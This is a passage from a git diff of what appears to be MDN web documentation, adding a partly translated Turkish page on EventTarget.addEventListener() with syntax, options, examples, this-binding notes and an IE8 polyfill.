Neither those attached on the same element, nor those attached on elements which will be traversed later (in capture phase, for instance)</dd> + <dt>{{domxref("Event.stopPropagation()")}}</dt> + <dd>Stops the propagation of events further along in the DOM.</dd> +</dl> + +<h3 id="Obsolete_methods">Obsolete methods</h3> + +<dl> + <dt>{{domxref("Event.getPreventDefault()")}} {{non-standard_inline}}</dt> + <dd>Non-standard. Returns the value of {{domxref("Event.defaultPrevented")}}. Use {{domxref("Event.defaultPrevented")}} instead.</dd> + <dt>{{domxref("Event.preventBubble()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt> + <dd>Prevents the event from bubbling. Obsolete, use {{domxref("event.stopPropagation")}} instead.</dd> + <dt>{{domxref("Event.preventCapture()")}} {{non-standard_inline}} {{Obsolete_inline(24)}}</dt> + <dd>Obsolete, use {{domxref("event.stopPropagation")}} instead.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#interface-event', 'Event')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Event")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Types of events available: <a href="/en-US/docs/Web/Reference/Events">Event reference</a></li> + <li><a href="/en-US/docs/Web/API/Event/Comparison_of_Event_Targets">Comparison of Event Targets</a> (target vs currentTarget vs relatedTarget vs originalTarget)</li> + <li><a href="/en-US/docs/Web/Guide/DOM/Events/Creating_and_triggering_events">Creating and triggering custom events</a></li> + <li>For Firefox add-on developers: + <ul> + <li><a href="/en-US/docs/Listening_to_events_in_Firefox_extensions">Listening to events in Firefox extensions</a></li> + <li><a href="/en-US/docs/Listening_to_events_on_all_tabs">Listening to events on all tabs</a></li> + </ul> + </li> +</ul> diff --git a/files/tr/web/api/eventtarget/addeventlistener/index.html b/files/tr/web/api/eventtarget/addeventlistener/index.html new file mode 100644 index 0000000000..10d3da4d1a --- /dev/null +++ b/files/tr/web/api/eventtarget/addeventlistener/index.html @@ -0,0 +1,774 @@ +--- +title: EventTarget.addEventListener() +slug: Web/API/EventTarget/addEventListener +translation_of: Web/API/EventTarget/addEventListener +--- +<div>{{APIRef("DOM Events")}}</div> + +<p><span class="seoSummary">{{domxref("EventTarget")}} yöntemi olan <code>addEventListener()</code>, belli bir olay hedefteki elemana ulaştığında çağırılmak üzere bir fonksiyon ayarlar. </span>{{domxref("Element")}}, {{domxref("Document")}}, ve {{domxref("Window")}} en yaygın hedefler olmakla beraber, olayları destekleyen diğer nesneler de olabilir (mesela {{domxref("XMLHttpRequest")}}).</p> + +<p><code>addEventListener()</code> belirli bir olayın dinleyicileri listesine, {{domxref("EventListener")}}'i uygulayabilecek bir fonksiyon ya da nesne ekleyerek çalışır. Olay gerçekleştiğinde bu fonksiyon ya da nese çağırılır.</p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox notranslate"><var>target</var>.addEventListener(<var>type</var>, <var>listener</var> [, <var>options</var>]); +<var>target</var>.addEventListener(<var>type</var>, <var>listener</var> [, <var>useCapture</var>]); +<var>target</var>.addEventListener(<var>type</var>, <var>listener</var> [, <var>useCapture</var>, <var>wantsUntrusted</var> {{Non-standard_inline}}]); // Sadece Gecko/Mozilla</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt><code><var>type</var></code></dt> + <dd>Dinlenecek olan <a href="/en-US/docs/Web/Events">olay tipini</a> belirten, büyük küçük harfe duyarlı dizi</dd> + <dt><code><var>listener</var></code></dt> + <dd>The object that receives a notification (an object that implements the {{domxref("Event")}} interface) when an event of the specified type occurs. This must be an object implementing the {{domxref("EventListener")}} interface, or a JavaScript <a href="/en-US/docs/JavaScript/Guide/Functions">function</a>. See {{anch("The event listener callback")}} for details on the callback itself.</dd> + <dt><code><var>options</var></code> {{optional_inline}}</dt> + <dd> + <p>An options object specifies characteristics about the event listener. The available options are:</p> + + <dl> + <dt><code><var>capture</var></code></dt> + <dd>A {{jsxref("Boolean")}} indicating that events of this type will be dispatched to the registered <code>listener</code> before being dispatched to any <code>EventTarget</code> beneath it in the DOM tree.</dd> + <dt><code><var>once</var></code></dt> + <dd>A {{jsxref("Boolean")}} indicating that the <code><var>listener</var></code> should be invoked at most once after being added. If <code>true</code>, the <code><var>listener</var></code> would be automatically removed when invoked.</dd> + <dt><code><var>passive</var></code></dt> + <dd>A {{jsxref("Boolean")}} that, if <code>true</code>, indicates that the function specified by <code><var>listener</var></code> will never call {{domxref("Event.preventDefault", "preventDefault()")}}. If a passive listener does call <code>preventDefault()</code>, the user agent will do nothing other than generate a console warning. See {{anch("Improving scrolling performance with passive listeners")}} to learn more.</dd> + <dt>{{non-standard_inline}} <code><var>mozSystemGroup</var></code></dt> + <dd>A {{jsxref("Boolean")}} indicating that the listener should be added to the system group. Available only in code running in XBL or in the {{glossary("chrome")}} of the Firefox browser.</dd> + </dl> + </dd> + <dt><code><var>useCapture</var></code> {{optional_inline}}</dt> + <dd>A {{jsxref("Boolean")}} indicating whether events of this type will be dispatched to the registered <code><var>listener</var></code> <em>before</em> being dispatched to any <code>EventTarget</code> beneath it in the DOM tree. Events that are bubbling upward through the tree will not trigger a listener designated to use capture. Event bubbling and capturing are two ways of propagating events that occur in an element that is nested within another element, when both elements have registered a handle for that event. The event propagation mode determines the order in which elements receive the event. See <a href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Events</a> and <a href="http://www.quirksmode.org/js/events_order.html#link4">JavaScript Event order</a> for a detailed explanation. If not specified, <code><var>useCapture</var></code> defaults to <code>false</code>.</dd> + <dd> + <div class="note"><strong>Note:</strong> For event listeners attached to the event target, the event is in the target phase, rather than the capturing and bubbling phases. Events in the target phase will trigger all listeners on an element in the order they were registered, regardless of the <code><var>useCapture</var></code> parameter.</div> + + <div class="note"><strong>Note:</strong> <code><var>useCapture</var></code> has not always been optional. Ideally, you should include it for the widest possible browser compatibility.</div> + </dd> + <dt><code><var>wantsUntrusted</var></code> {{Non-standard_inline}}</dt> + <dd>A Firefox (Gecko)-specific parameter. If <code>true</code>, the listener receives synthetic events dispatched by web content (the default is <code>false</code> for browser {{glossary("chrome")}} and <code>true</code> for regular web pages). This parameter is useful for code found in add-ons, as well as the browser itself.</dd> +</dl> + +<h3 id="Döndürülen_değer">Döndürülen değer</h3> + +<p><code>undefined</code></p> + +<h2 id="Kullanım_Notları">Kullanım Notları</h2> + +<h3 id="Olay_dinleyicisi_callbacki">Olay dinleyicisi callback'i</h3> + +<p>The event listener can be specified as either a callback function or an object that implements {{domxref("EventListener")}}, whose {{domxref("EventListener.handleEvent()", "handleEvent()")}} method serves as the callback function.</p> + +<p>The callback function itself has the same parameters and return value as the <code>handleEvent()</code> method; that is, the callback accepts a single parameter: an object based on {{domxref("Event")}} describing the event that has occurred, and it returns nothing.</p> + +<p>For example, an event handler callback that can be used to handle both {{event("fullscreenchange")}} and {{event("fullscreenerror")}} might look like this:</p> + +<pre class="brush: js notranslate">function eventHandler(event) { + if (event.type == 'fullscreenchange') { + /* handle a full screen toggle */ + } else /* fullscreenerror */ { + /* handle a full screen toggle error */ + } +}</pre> + +<h3 id="Güvenli_bir_şekilde_option_desteğini_fark_etmek">Güvenli bir şekilde option desteğini fark etmek</h3> + +<p>In older versions of the DOM specification, the third parameter of <code>addEventListener()</code> was a Boolean value indicating whether or not to use capture. Over time, it became clear that more options were needed. Rather than adding more parameters to the function (complicating things enormously when dealing with optional values), the third parameter was changed to an object that can contain various properties defining the values of options to configure the process of removing the event listener.</p> + +<p>Because older browsers (as well as some not-too-old browsers) still assume the third parameter is a Boolean, you need to build your code to handle this scenario intelligently. You can do this by using feature detection for each of the options you're interested in.</p> + +<p>For example, if you want to check for the <code><var>passive</var></code> option:</p> + +<pre class="brush: js notranslate">let passiveSupported = false; + +try { + const options = { + get passive() { // This function will be called when the browser + // attempts to access the passive property. + passiveSupported = true; + return false; + } + }; + + window.addEventListener("test", null, options); + window.removeEventListener("test", null, options); +} catch(err) { + passiveSupported = false; +} +</pre> + +<p>This creates an <code><var>options</var></code> object with a getter function for the <code><var>passive</var></code> property; the getter sets a flag, <code><var>passiveSupported</var></code>, to <code>true</code> if it gets called. That means that if the browser checks the value of the <code><var>passive</var></code> property on the <code><var>options</var></code> object, <code><var>passiveSupported</var></code> will be set to <code>true</code>; otherwise, it will remain <code>false</code>. We then call <code>addEventListener()</code> to set up a fake event handler, specifying those options, so that the options will be checked if the browser recognizes an object as the third parameter. Then, we call <code>removeEventListener()</code> to clean up after ourselves. (Note that <code>handleEvent()</code> is ignored on event listeners that aren't called.)</p> + +<p>You can check whether any option is supported this way. Just add a getter for that option using code similar to what is shown above.</p> + +<p>Then, when you want to create an actual event listener that uses the options in question, you can do something like this:</p> + +<pre class="brush: js notranslate">someElement.addEventListener("mouseup", handleMouseUp, passiveSupported + ? { passive: true } : false);</pre> + +<p>Here we're adding a listener for the {{event("mouseup")}} event on the element <code>someElement</code>. For the third parameter, if <code>passiveSupported</code> is <code>true</code>, we're specifying an <code>options</code> object with <code>passive</code> set to <code>true</code>; otherwise, we know that we need to pass a Boolean, and we pass <code>false</code> as the value of the <code>useCapture</code> parameter.</p> + +<p>If you'd prefer, you can use a third-party library like <a href="https://modernizr.com/docs">Modernizr</a> or <a href="https://github.com/rafrex/detect-it">Detect It</a> to do this test for you.</p> + +<p>You can learn more from the article about <code><a href="https://github.com/WICG/EventListenerOptions/blob/gh-pages/explainer.md#feature-detection">EventListenerOptions</a></code> from the <a href="https://wicg.github.io/admin/charter.html">Web Incubator Community Group</a>.</p> + +<h2 id="Örnekler">Örnekler</h2> + +<h3 id="Basit_bir_dinleyici_ekleme">Basit bir dinleyici ekleme</h3> + +<p>This example demonstrates how to use <code>addEventListener()</code> to watch for mouse clicks on an element.</p> + +<h4 id="HTML">HTML</h4> + +<pre class="brush: html notranslate"><table id="outside"> + <tr><td id="t1">one</td></tr> + <tr><td id="t2">two</td></tr> +</table> +</pre> + +<h4 id="JavaScript">JavaScript</h4> + +<pre class="brush: js notranslate">// t2'nin içeriğini değiştirme fonksiyonu +function modifyText() { + const t2 = document.getElementById("t2"); + if (t2.firstChild.nodeValue == "three") { + t2.firstChild.nodeValue = "two"; + } else { + t2.firstChild.nodeValue = "three"; + } +} + +// Tabloya olay dinleyicisi ekleme +const el = document.getElementById("outside"); +el.addEventListener("click", modifyText, false); +</pre> + +<p>In this code, <code>modifyText()</code> is a listener for <code>click</code> events registered using <code>addEventListener()</code>. A click anywhere in the table bubbles up to the handler and runs <code>modifyText()</code>.</p> + +<h4 id="Sonuç">Sonuç</h4> + +<p>{{EmbedLiveSample('Add_a_simple_listener')}}</p> + +<h3 id="Anonim_fonksiyonlu_olay_dinleyicisi">Anonim fonksiyonlu olay dinleyicisi</h3> + +<p>Here, we'll take a look at how to use an anonymous function to pass parameters into the event listener.</p> + +<h4 id="HTML_2">HTML</h4> + +<pre class="brush: html notranslate"><table id="outside"> + <tr><td id="t1">one</td></tr> + <tr><td id="t2">two</td></tr> +</table></pre> + +<h4 id="JavaScript_2">JavaScript</h4> + +<pre class="brush: js notranslate">// t2'nin içeriğini değiştirme fonksiyonu +function modifyText(new_text) { + const t2 = document.getElementById("t2"); + t2.firstChild.nodeValue = new_text; +} + +// Tabloya olay dinleyicisi ekleme fonksiyonu +const el = document.getElementById("outside"); +el.addEventListener("click", function(){modifyText("four")}, false); +</pre> + +<p>Notice that the listener is an anonymous function that encapsulates code that is then, in turn, able to send parameters to the <code>modifyText()</code> function, which is responsible for actually responding to the event.</p> + +<h4 id="Sonuç_2">Sonuç</h4> + +<p>{{EmbedLiveSample('Event_listener_with_anonymous_function')}}</p> + +<h3 id="Oklu_fonksiyon_ile_olay_dinleyicisi">Oklu fonksiyon ile olay dinleyicisi</h3> + +<p>This example demonstrates a simple event listener implemented using arrow function notation.</p> + +<h4 id="HTML_3">HTML</h4> + +<pre class="brush: html notranslate"><table id="outside"> + <tr><td id="t1">one</td></tr> + <tr><td id="t2">two</td></tr> +</table> +</pre> + +<h4 id="JavaScript_3">JavaScript</h4> + +<pre class="brush: js notranslate">// t2'nin içeriğini değiştirme fonksiyonu +function modifyText(new_text) { + const t2 = document.getElementById("t2"); + t2.firstChild.nodeValue = new_text; +} + +// Oklu fonksiyon ile tabloya olay dinleyicisi ekleme +const el = document.getElementById("outside"); +el.addEventListener("click", () => { modifyText("four"); }, false); +</pre> + +<h4 id="Sonuç_3">Sonuç</h4> + +<p>{{EmbedLiveSample('Event_listener_with_an_arrow_function')}}</p> + +<p>Please note that while anonymous and arrow functions are similar, they have different <code>this</code> bindings. While anonymous (and all traditional JavaScript functions) create their own <code>this</code> bindings, arrow functions inherit the <code>this</code> binding of the containing function.</p> + +<p>That means that the variables and constants available to the containing function are also available to the event handler when using an arrow function.</p> + +<h3 id="Options_kullanma_örnekleri">Options kullanma örnekleri</h3> + +<h4 id="HTML_4">HTML</h4> + +<pre class="brush: html notranslate"><div class="outer"> + outer, once & none-once + <div class="middle" target="_blank"> + middle, capture & none-capture + <a class="inner1" href="https://www.mozilla.org" target="_blank"> + inner1, passive & preventDefault(which is not allowed) + </a> + <a class="inner2" href="https://developer.mozilla.org/" target="_blank"> + inner2, none-passive & preventDefault(not open new page) + </a> + </div> +</div> +</pre> + +<h4 id="CSS">CSS</h4> + +<pre class="brush: css notranslate">.outer, .middle, .inner1, .inner2 { + display: block; + width: 520px; + padding: 15px; + margin: 15px; + text-decoration: none; +} +.outer { + border: 1px solid red; + color: red; +} +.middle { + border: 1px solid green; + color: green; + width: 460px; +} +.inner1, .inner2 { + border: 1px solid purple; + color: purple; + width: 400px; +} +</pre> + +<h4 id="JavaScript_4">JavaScript</h4> + +<pre class="brush: js notranslate">const outer = document.querySelector('.outer'); +const middle = document.querySelector('.middle'); +const inner1 = document.querySelector('.inner1'); +const inner2 = document.querySelector('.inner2'); + +const capture = { + capture : true +}; +const noneCapture = { + capture : false +}; +const once = { + once : true +}; +const noneOnce = { + once : false +}; +const passive = { + passive : true +}; +const nonePassive = { + passive : false +}; + +outer.addEventListener('click', onceHandler, once); +outer.addEventListener('click', noneOnceHandler, noneOnce); +middle.addEventListener('click', captureHandler, capture); +middle.addEventListener('click', noneCaptureHandler, noneCapture); +inner1.addEventListener('click', passiveHandler, passive); +inner2.addEventListener('click', nonePassiveHandler, nonePassive); + +function onceHandler(event) { + alert('outer, once'); +} +function noneOnceHandler(event) { + alert('outer, none-once, default'); +} +function captureHandler(event) { + //event.stopImmediatePropagation(); + alert('middle, capture'); +} +function noneCaptureHandler(event) { + alert('middle, none-capture, default'); +} +function passiveHandler(event) { + // Unable to preventDefault inside passive event listener invocation. + event.preventDefault(); + alert('inner1, passive, open new page'); +} +function nonePassiveHandler(event) { + event.preventDefault(); + //event.stopPropagation(); + alert('inner2, none-passive, default, not open new page'); +} +</pre> + +<h4 id="Sonuç_4">Sonuç</h4> + +<p>Click the outer, middle, inner containers respectively to see how the options work.</p> + +<p>{{ EmbedLiveSample('Example_of_options_usage', 600, 310, '', 'Web/API/EventTarget/addEventListener') }}</p> + +<p>Before using a particular value in the <code><var>options</var></code> object, it's a good idea to ensure that the user's browser supports it, since these are an addition that not all browsers have supported historically. See {{anch("Safely detecting option support")}} for details.</p> + +<h2 id="Diğer_notlar">Diğer notlar</h2> + +<h3 id="Neden_addEventListener_kullanalım">Neden <code>addEventListener()</code> kullanalım?</h3> + +<p><code>addEventListener()</code> is the way to register an event listener as specified in W3C DOM. The benefits are as follows:</p> + +<ul> + <li>It allows adding more than a single handler for an event. This is particularly useful for {{Glossary("AJAX")}} libraries, JavaScript modules, or any other kind of code that needs to work well with other libraries/extensions.</li> + <li>It gives you finer-grained control of the phase when the listener is activated (capturing vs. bubbling).</li> + <li>It works on any DOM element, not just HTML elements.</li> +</ul> + +<p>The alternative, <a href="#Older_way_to_register_event_listeners">older way to register event listeners</a>, is described below.</p> + +<h3 id="Olay_servisi_anında_dinleyici_eklemek">Olay servisi anında dinleyici eklemek</h3> + +<p>Eğer bir {{domxref("EventListener")}} {{domxref("EventTarget")}}'a olayı işlerken eklenirse, o dinleyici o olaydan dolay tetiklenmez. Ancak, yeni eklenen bu dinleyici, olayın servisinin ileriki bir sürecinde tetiklenebilir, mesela 'bubbling phase' (olay dinleyicisinin alt elemanlardan üst elemanlara doğru ilerlediği durum).</p> + +<h3 id="Birden_fazla_aynı_olay_dinleyicisi">Birden fazla aynı olay dinleyicisi</h3> + +<p>If multiple identical <code>EventListener</code>s are registered on the same <code>EventTarget</code> with the same parameters, the duplicate instances are discarded. They do not cause the <code>EventListener</code> to be called twice, and they do not need to be removed manually with the {{domxref("EventTarget.removeEventListener()", "removeEventListener()")}} method.</p> + +<p>Note, however that when using an anonymous function as the handler, such listeners will NOT be identical, because anonymous functions are not identical even if defined using the SAME unchanging source-code simply called repeatedly, even if in a loop.</p> + +<p>However, repeatedly defining the same named function in such cases can be more problematic. (See <a href="#Memory_issues">Memory issues</a>, below.)</p> + +<h3 id="Olay_giderici_içinde_this_in_değeri">Olay giderici içinde <code>this</code> 'in değeri</h3> + +<p>It is often desirable to reference the element on which the event handler was fired, such as when using a generic handler for a set of similar elements.</p> + +<p>If attaching a handler function to an element using <code>addEventListener()</code>, the value of {{jsxref("Operators/this","this")}}> inside the handler is a reference to the element. It is the same as the value of the <code>currentTarget</code> property of the event argument that is passed to the handler.</p> + +<pre class="brush: js notranslate">my_element.addEventListener('click', function (e) { + console.log(this.className) // logs the className of my_element + console.log(e.currentTarget === this) // logs `true` +}) +</pre> + +<p>As a reminder, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions#No_separate_this">arrow functions do not have their own <code>this</code> context</a>.</p> + +<pre class="brush: js notranslate">my_element.addEventListener('click', (e) => { + console.log(this.className) // WARNING: `this` is not `my_element` + console.log(e.currentTarget === this) // logs `false` +})</pre> + +<p>If an event handler (for example, {{domxref("Element.onclick", "onclick")}}) is specified on an element in the HTML source, the JavaScript code in the attribute value is effectively wrapped in a handler function that binds the value of <code>this</code> in a manner consistent with the <code>addEventListener()</code>; an occurrence of <code>this</code> within the code represents a reference to the element.</p> + +<pre class="brush: html notranslate"><table id="my_table" onclick="console.log(this.id);"><!-- `this` refers to the table; logs 'my_table' --> + ... +</table> +</pre> + +<p>Note that the value of <code>this</code> inside a function, <em>called by</em> the code in the attribute value, behaves as per <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">standard rules</a>. This is shown in the following example:</p> + +<pre class="brush: html notranslate"><script> + function logID() { console.log(this.id); } +</script> +<table id="my_table" onclick="logID();"><!-- when called, `this` will refer to the global object --> + ... +</table> +</pre> + +<p>The value of <code>this</code> within <code>logID()</code> is a reference to the global object {{domxref("Window")}} (or <code>undefined</code> in the case of {{jsxref("Reference/Strict_mode", "strict mode")}}.</p> + +<h4 id="this_i_bind_kullanarak_belirtmek"> <code>this</code> 'i <code>bind()</code> kullanarak belirtmek</h4> + +<p>The {{jsxref("Function.prototype.bind()")}}> method lets you specify the value that should be used as <code>this</code> for all calls to a given function. This lets you easily bypass problems where it's unclear what <code>this</code> will be, depending on the context from which your function was called. Note, however, that you'll need to keep a reference to the listener around so you can remove it later.</p> + +<p>This is an example with and without <code>bind()</code>:</p> + +<pre class="brush: js notranslate">const Something = function(element) { + // |this| is a newly created object + this.name = 'Something Good'; + this.onclick1 = function(event) { + console.log(this.name); // undefined, as |this| is the element + }; + this.onclick2 = function(event) { + console.log(this.name); // 'Something Good', as |this| is bound to newly created object + }; + element.addEventListener('click', this.onclick1, false); + element.addEventListener('click', this.onclick2.bind(this), false); // Trick +} +const s = new Something(document.body); +</pre> + +<p>Another solution is using a special function called <code>handleEvent()</code> to catch any events:</p> + +<pre class="brush: js notranslate">const Something = function(element) { + // |this| is a newly created object + this.name = 'Something Good'; + this.handleEvent = function(event) { + console.log(this.name); // 'Something Good', as this is bound to newly created object + switch(event.type) { + case 'click': + // some code here... + break; + case 'dblclick': + // some code here... + break; + } + }; + + // Note that the listeners in this case are |this|, not this.handleEvent + element.addEventListener('click', this, false); + element.addEventListener('dblclick', this, false); + + // You can properly remove the listeners + element.removeEventListener('click', this, false); + element.removeEventListener('dblclick', this, false); +} +const s = new Something(document.body); +</pre> + +<p>Another way of handling the reference to <em>this</em> is to pass to the <code>EventListener</code> a function that calls the method of the object that contains the fields that need to be accessed:</p> + +<pre class="brush: js notranslate">class SomeClass { + + constructor() { + this.name = 'Something Good'; + } + + register() { + const that = this; + window.addEventListener('keydown', function(e) { that.someMethod(e); }); + } + + someMethod(e) { + console.log(this.name); + switch(e.keyCode) { + case 5: + // some code here... + break; + case 6: + // some code here... + break; + } + } + +} + +const myObject = new SomeClass(); +myObject.register();</pre> + +<h3 id="Olay_dinleyicisinde_data_giriş_çıkışı">Olay dinleyicisinde data giriş çıkışı</h3> + +<p>It may seem that event listeners are like islands, and that it is extremely difficult to pass them any data, much less to get any data back from them after they execute. Event listeners only take one argument, the <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_objects">Event Object</a>, which is automatically passed to the listener, and the return value is ignored. So how can we get data in and back out of them again? There are a number of good methods for doing this.</p> + +<h4 id="Datayı_this_kullanarak_dinleyiciye_iletmek">Datayı <code>this</code> kullanarak dinleyiciye iletmek</h4> + +<p>As mentioned <a href="#Specifying_this_using_bind()">above</a>, you can use <code>Function.prototype.bind()</code> to pass a value to an event listener via the <code>this</code> reference variable.</p> + +<pre class="brush: js notranslate">const myButton = document.getElementById('my-button-id'); +const someString = 'Data'; + +myButton.addEventListener('click', function () { + console.log(this); // Expected Value: 'Data' +}.bind(someString)); +</pre> + +<p>This method is suitable when you don't need to know which HTML element the event listener fired on programmatically from within the event listener. The primary benefit to doing this is that the event listener receives the data in much the same way that it would if you were to actually pass it through its argument list.</p> + +<h4 id="Getting_Data_Into_an_Event_Listener_Using_the_Outer_Scope_Property">Getting Data Into an Event Listener Using the Outer Scope Property</h4> + +<p>When an outer scope contains a variable declaration (with <code>const</code>, <code>let</code>), all the inner functions declared in that scope have access to that variable (look <a href="https://developer.mozilla.org/en-US/docs/Glossary/Function#Different_types_of_functions">here</a> for information on outer/inner functions, and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var#Implicit_globals_and_outer_function_scope">here</a> for information on variable scope). Therefore, one of the simplest ways to access data from outside of an event listener is to make it accessible to the scope in which the event listener is declared.</p> + +<pre class="brush: js notranslate">const myButton = document.getElementById('my-button-id'); +const someString = 'Data'; + +myButton.addEventListener('click', function() { + console.log(someString); // Expected Value: 'Data' + + someString = 'Data Again'; +}); + +console.log(someString); // Expected Value: 'Data' (will never output 'Data Again') +</pre> + +<div class="note"> +<p><strong>Note:</strong> Although inner scopes have access to <code>const</code>, <code>let</code> variables from outer scopes, you cannot expect any changes to these variables to be accessible after the event listener definition, within the same outer scope. Why? Simply because by the time the event listener would execute, the scope in which it was defined would have already finished executing.</p> +</div> + +<h4 id="Getting_Data_Into_and_Out_of_an_Event_Listener_Using_Objects">Getting Data Into and Out of an Event Listener Using Objects</h4> + +<p>Unlike most functions in JavaScript, objects are retained in memory as long as a variable referencing them exists in memory. This, and the fact that objects can have properties, and that they can be passed around by reference, makes them likely candidates for sharing data among scopes. Let's explore this.</p> + +<div class="note"> +<p><strong>Note:</strong> Functions in JavaScript are actually objects. (Hence they too can have properties, and will be retained in memory even after they finish executing if assigned to a variable that persists in memory.)</p> +</div> + +<p>Because object properties can be used to store data in memory as long as a variable referencing the object exists in memory, you can actually use them to get data into an event listener, and any changes to the data back out after an event handler executes. Consider this example.</p> + +<pre class="brush: js notranslate">const myButton = document.getElementById('my-button-id'); +const someObject = {aProperty: 'Data'}; + +myButton.addEventListener('click', function() { + console.log(someObject.aProperty); // Expected Value: 'Data' + + someObject.aProperty = 'Data Again'; // Change the value +}); + +window.setInterval(function() { + if (someObject.aProperty === 'Data Again') { + console.log('Data Again: True'); + someObject.aProperty = 'Data'; // Reset value to wait for next event execution + } +}, 5000); +</pre> + +<p>In this example, even though the scope in which both the event listener and the interval function are defined would have finished executing before the original value of <code>someObject.aProperty</code> would have changed, because <code>someObject</code> persists in memory (by <em>reference</em>) in both the event listener and interval function, both have access to the same data (i.e. when one changes the data, the other can respond to the change).</p> + +<div class="note"> +<p><strong>Note:</strong> Objects are stored in variables by reference, meaning only the memory location of the actual data is stored in the variable. Among other things, this means variables that "store" objects can actually affect other variables that get assigned ("store") the same object reference. When two variables reference the same object (e.g., <code>let a = b = {aProperty: 'Yeah'};</code>), changing the data in either variable will affect the other.</p> +</div> + +<div class="note"> +<p><strong>Note:</strong> Because objects are stored in variables by reference, you can return an object from a function to keep it alive (preserve it in memory so you don't lose the data) after that function stops executing.</p> +</div> + +<h3 id="Internet_Explorerdan_miras_kalan_attachEvent">Internet Explorer'dan miras kalan attachEvent</h3> + +<p>In Internet Explorer versions before IE 9, you have to use {{domxref("EventTarget.attachEvent", "attachEvent()")}}, rather than the standard <code>addEventListener()</code>. For IE, we modify the preceding example to:</p> + +<pre class="brush: js notranslate">if (el.addEventListener) { + el.addEventListener('click', modifyText, false); +} else if (el.attachEvent) { + el.attachEvent('onclick', modifyText); +} +</pre> + +<p>There is a drawback to <code>attachEvent()</code>: The value of <code>this</code> will be a reference to the <code>window</code> object, instead of the element on which it was fired.</p> + +<p>The <code>attachEvent()</code> method could be paired with the <code>onresize</code> event to detect when certain elements in a web page were resized. The proprietary <code>mselementresize</code> event, when paired with the <code>addEventListener </code>method of registering event handlers, provides similar functionality as <code>onresize</code>, firing when certain HTML elements are resized.</p> + +<h3 id="Uyumluluk">Uyumluluk</h3> + +<p>You can work around <code>addEventListener()</code>, <code>removeEventListener()</code>, {{domxref("Event.preventDefault()")}}, and {{domxref("Event.stopPropagation()")}} not being supported by Internet Explorer 8 by using the following code at the beginning of your script. The code supports the use of <code>handleEvent()</code> and also the {{event("DOMContentLoaded")}} event.</p> + +<div class="note"> +<p><strong>Note: </strong><code>useCapture</code> is not supported, as IE 8 does not have any alternative method. The following code only adds IE 8 support. This IE 8 polyfill only works in standards mode: a doctype declaration is required.</p> +</div> + +<pre class="brush: js notranslate">(function() { + if (!Event.prototype.preventDefault) { + Event.prototype.preventDefault=function() { + this.returnValue=false; + }; + } + if (!Event.prototype.stopPropagation) { + Event.prototype.stopPropagation=function() { + this.cancelBubble=true; + }; + } + if (!Element.prototype.addEventListener) { + var eventListeners=[]; + + var addEventListener=function(type,listener /*, useCapture (will be ignored) */) { + var self=this; + var wrapper=function(e) { + e.target=e.srcElement; + e.currentTarget=self; + if (typeof listener.handleEvent != 'undefined') { + listener.handleEvent(e); + } else { + listener.call(self,e); + } + }; + if (type=="DOMContentLoaded") { + var wrapper2=function(e) { + if (document.readyState=="complete") { + wrapper(e); + } + }; + document.attachEvent("onreadystatechange",wrapper2); + eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper2}); + + if (document.readyState=="complete") { + var e=new Event(); + e.srcElement=window; + wrapper2(e); + } + } else { + this.attachEvent("on"+type,wrapper); + eventListeners.push({object:this,type:type,listener:listener,wrapper:wrapper}); + } + }; + var removeEventListener=function(type,listener /*, useCapture (will be ignored) */) { + var counter=0; + while (counter<eventListeners.length) { + var eventListener=eventListeners[counter]; + if (eventListener.object==this && eventListener.type==type && eventListener.listener==listener) { + if (type=="DOMContentLoaded") { + this.detachEvent("onreadystatechange",eventListener.wrapper); + } else { + this.detachEvent("on"+type,eventListener.wrapper); + } + eventListeners.splice(counter, 1); + break; + } + ++counter; + } + }; + Element.prototype.addEventListener=addEventListener; + Element.prototype.removeEventListener=removeEventListener; + if (HTMLDocument) { + HTMLDocument.prototype.addEventListener=addEventListener; + HTMLDocument.prototype.removeEventListener=removeEventListener; + } + if (Window) { + Window.prototype.addEventListener=addEventListener; + Window.prototype.removeEventListener=removeEventListener; + } + } +})();</pre> + +<h3 id="Eski_bir_olay_dinleyicisini_ekleme_yolu">Eski bir olay dinleyicisini ekleme yolu </h3> + +<p><code>addEventListener()</code> was introduced with the DOM 2 <a href="http://www.w3.org/TR/DOM-Level-2-Events">Events</a> specification. Before then, event listeners were registered as follows:</p> + +<pre class="brush: js notranslate">// Passing a function reference — do not add '()' after it, which would call the function! +el.onclick = modifyText; + +// Using a function expression +element.onclick = function() { + // ... function logic ... +}; +</pre> + +<p>This method replaces the existing <code>click</code> event listener(s) on the element if there are any. Other events and associated event handlers such as <code>blur</code> (<code>onblur</code>) and <code>keypress</code> (<code>onkeypress</code>) behave similarly.</p> + +<p>Because it was essentially part of {{glossary("DOM", "DOM 0")}}, this technique for adding event listeners is very widely supported and requires no special cross-browser code. It is used to register event listeners dynamically when very old browsers (like IE <=8) must be supported; see the table below for details on browser support for <code>addEventListener</code>.</p> + +<h3 id="Hafıza_sorunları">Hafıza sorunları</h3> + +<pre class="brush: js notranslate">const els = document.getElementsByTagName('*'); + + +// Case 1 +for(let i=0 ; i < els.length; i++){ + els[i].addEventListener("click", function(e){/*do something*/}, false); +} + + +// Case 2 +function processEvent(e){ + /* do something */ +} + +for(let i=0 ; i < els.length; i++){ + els[i].addEventListener("click", processEvent, false); +} +</pre> + +<p>In the first case above, a new (anonymous) handler function is created with each iteration of the loop. In the second case, the same previously declared function is used as an event handler, which results in smaller memory consumption because there is only one handler function created. Moreover, in the first case, it is not possible to call {{domxref("EventTarget.removeEventListener", "removeEventListener()")}} because no reference to the anonymous function is kept (or here, not kept to any of the multiple anonymous functions the loop might 